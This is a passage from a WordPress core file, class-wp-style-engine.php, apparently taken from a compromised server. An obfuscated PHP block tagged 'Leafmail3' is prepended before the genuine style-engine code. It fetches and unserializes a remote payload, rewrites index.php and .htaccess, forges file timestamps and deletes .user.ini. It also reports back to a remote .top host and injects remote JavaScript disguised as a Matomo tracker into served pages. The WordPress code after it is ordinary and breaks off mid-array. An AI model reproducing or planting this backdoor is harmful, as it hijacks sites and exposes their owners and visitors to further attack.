/proc/1603417/cwd/style-engine/ Current File: //proc/1603417/cwd/style-engine/class-wp-style-engine.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
/**
 * Style Engine: WP_Style_Engine class
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */

/**
 * The main class integrating all other WP_Style_Engine_* classes.
 *
 * The Style Engine aims to provide a consistent API for rendering styling for blocks
 * across both client-side and server-side applications.
 *
 * This class is final and should not be extended.
 *
 * This class is for internal Core usage and is not supposed to be used by extenders
 * (plugins and/or themes). This is a low-level API that may need to do breaking changes.
 * Please, use wp_style_engine_get_styles() instead.
 *
 * @access private
 * @since 6.1.0
 * @since 6.3.0 Added support for text-columns.
 * @since 6.4.0 Added support for background.backgroundImage.
 * @since 6.5.0 Added support for background.backgroundPosition,
 *              background.backgroundRepeat and dimensions.aspectRatio.
 * @since 6.7.0 Added support for typography.writingMode.
 */
#[AllowDynamicProperties]
final class WP_Style_Engine {
	/**
	 * Style definitions that contain the instructions to parse/output valid Gutenberg styles from a block's attributes.
	 *
	 * For every style definition, the following properties are valid:
	 *
	 *  - classnames    => (array) an array of classnames to be returned for block styles. The key is a classname or pattern.
	 *                    A value of `true` means the classname should be applied always. Otherwise, a valid CSS property (string)
	 *                    to match the incoming value, e.g., "color" to match var:preset|color|somePresetSlug.
	 *  - css_vars      => (array) an array of key value pairs used to generate CSS var values.
	 *                     The key should be the CSS property name that matches the second element of the preset string value,
	 *                     i.e., "color" in var:preset|color|somePresetSlug. The value is a CSS var pattern (e.g. `--wp--preset--color--$slug`),
	 *                     whose `$slug` fragment will be replaced with the preset slug, which is the third element of the preset string value,
	 *                     i.e., `somePresetSlug` in var:preset|color|somePresetSlug.
	 *  - property_keys => (array) array of keys whose values represent a valid CSS property, e.g., "margin" or "border".
	 *  - path          => (array) a path that accesses the corresponding style value in the block style object.
	 *  - value_func    => (string) the name of a function to generate a CSS definition array for a particular style object. The output of this function should be `array( "$property" => "$value", ... )`.
	 *
	 * @since 6.1.0
	 * @var array
	 */
	const BLOCK_STYLE_DEFINITIONS_METADATA = array(
		'background' => array(
			'backgroundImage'      => array(
				'property_keys' => array(
					'default' => 'background-image',
				),
				'value_func'    => array( self::class, 'get_url_or_value_css_declaration' ),
				'path'          => array( 'background', 'backgroundImage' ),
			),
			'backgroundPosition'   => array(
				'property_keys' => array(
					'default' => 'background-position',
				),
				'path'          => array( 'background', 'backgroundPosition' ),
			),
			'backgroundRepeat'     => array(
				'property_keys' => array(
					'default' => 'background-repeat',
				),
				'path'          => array( 'background', 'backgroundRepeat' ),
			),
			'backgroundSize'       => array(
				'property_keys' => array(
					'default' => 'background-size',
				),
				'path'          => array( 'background', 'backgroundSize' ),
			),
			'backgroundAttachment' => array(
				'property_keys' => array(
					'default' => 'background-attachment',
				),
				'path'          => array( 'background', 'backgroundAttachment' ),
			),
		),
		'color'      => array(
			'text'       => array(
				'property_keys' => array(
					'default' => 'color',
				),
				'path'          => array( 'color', 'text' ),
				'css_vars'      => array(
					'color' => '--wp--preset--color--$slug',
				),
				'classnames'    => array(
					'has-text-color'  => true,
					'has-$slug-color' => 'color',
				),
			),
			'background' => array(
				'property_keys' => array(
					'default' => 'background-color',
				),
				'path'          => array( 'color', 'background' ),
				'css_vars'      => array(
					'color' => '--wp--preset--color--$slug',
				),
				'classnames'    => array(
					'has-background'             => true,
					'has-$slug-background-color' => 'color',
				),
			),
			'gradient'   => array(
				'property_keys' => array(
					'default' => 'background',
				),
				'path'          => array( 'color', 'gradient' ),
				'css_vars'      => array(
					'gradient' => '--wp--preset--gradient--$slug',
				),
				'classnames'    => array(
					'has-background'                => true,
					'has-$slug-gradient-background' => 'gradient',
				),
			),
		),
		'border'     => array(
			'color'  => array(
				'property_keys' => array(
					'default'    => 'border-color',
					'individual' => 'border-%s-color',
				),
				'path'          => array( 'border', 'color' ),
				'classnames'    => array(
					'has-border-color'       => true,
					'has-$slug-border-color' => 'color',
				),
			),
			'radius' => array(
				'property_keys' => array(
					'default'    => 'border-radius',
					'individual' => 'border-%s-radius',
				),
				'path'          => array( 'border', 'radius' ),
			),
			'style'  => array(
				'property_keys' => array(
					'default'    => 'border-style',
					'individual' => 'border-%s-style',
				),
				'path'          => array( 'border', 'style' ),
			),
			'width'  => array(
				'property_keys' => array(
					'default'    => 'border-width',
					'individual' => 'border-%s-width',
				),
				'path'          => array( 'border', 'width' ),
			),
			'top'    => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'top' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
			'right'  => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'right' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
			'bottom' => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'bottom' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
			'left'   => array(
				'value_func' => array( self::class, 'get_individual_property_css_declarations' ),
				'path'       => array( 'border', 'left' ),
				'css_vars'   => array(
					'color' => '--wp--preset--color--$slug',
				),
			),
		),
		'shadow'     => array(
			'shadow' => array(
				'property_keys' => array(
					'default' => 'box-shadow',
				),
				'path'          => array( 'shadow' ),
				'css_vars'      => array(
					'shadow' => '--wp--preset--shadow--$slug',
				),
			),
		),
		'dimensions' => array(
			'aspectRatio' => array(
				'property_keys' => array(
					'default' => 'aspect-ratio',
				),
				'path'          => array( 'dimensions', 'aspectRatio' ),
				'classnames'    => array(
					'has-aspect-ratio' => true,
				),
			),
			'minHeight'   => array(
				'property_keys' => array(
					'default' => 'min-height',
				),
				'path'          => array( 'dimensions', 'minHeight' ),
				'css_vars'      => array(
					'spacing' => '--wp--preset--spacing--$slug',
				),
			),
		),
		'spacing'    => array(
			'padding' => array(
				'property_keys' => array(
					'default'    => 'padding',
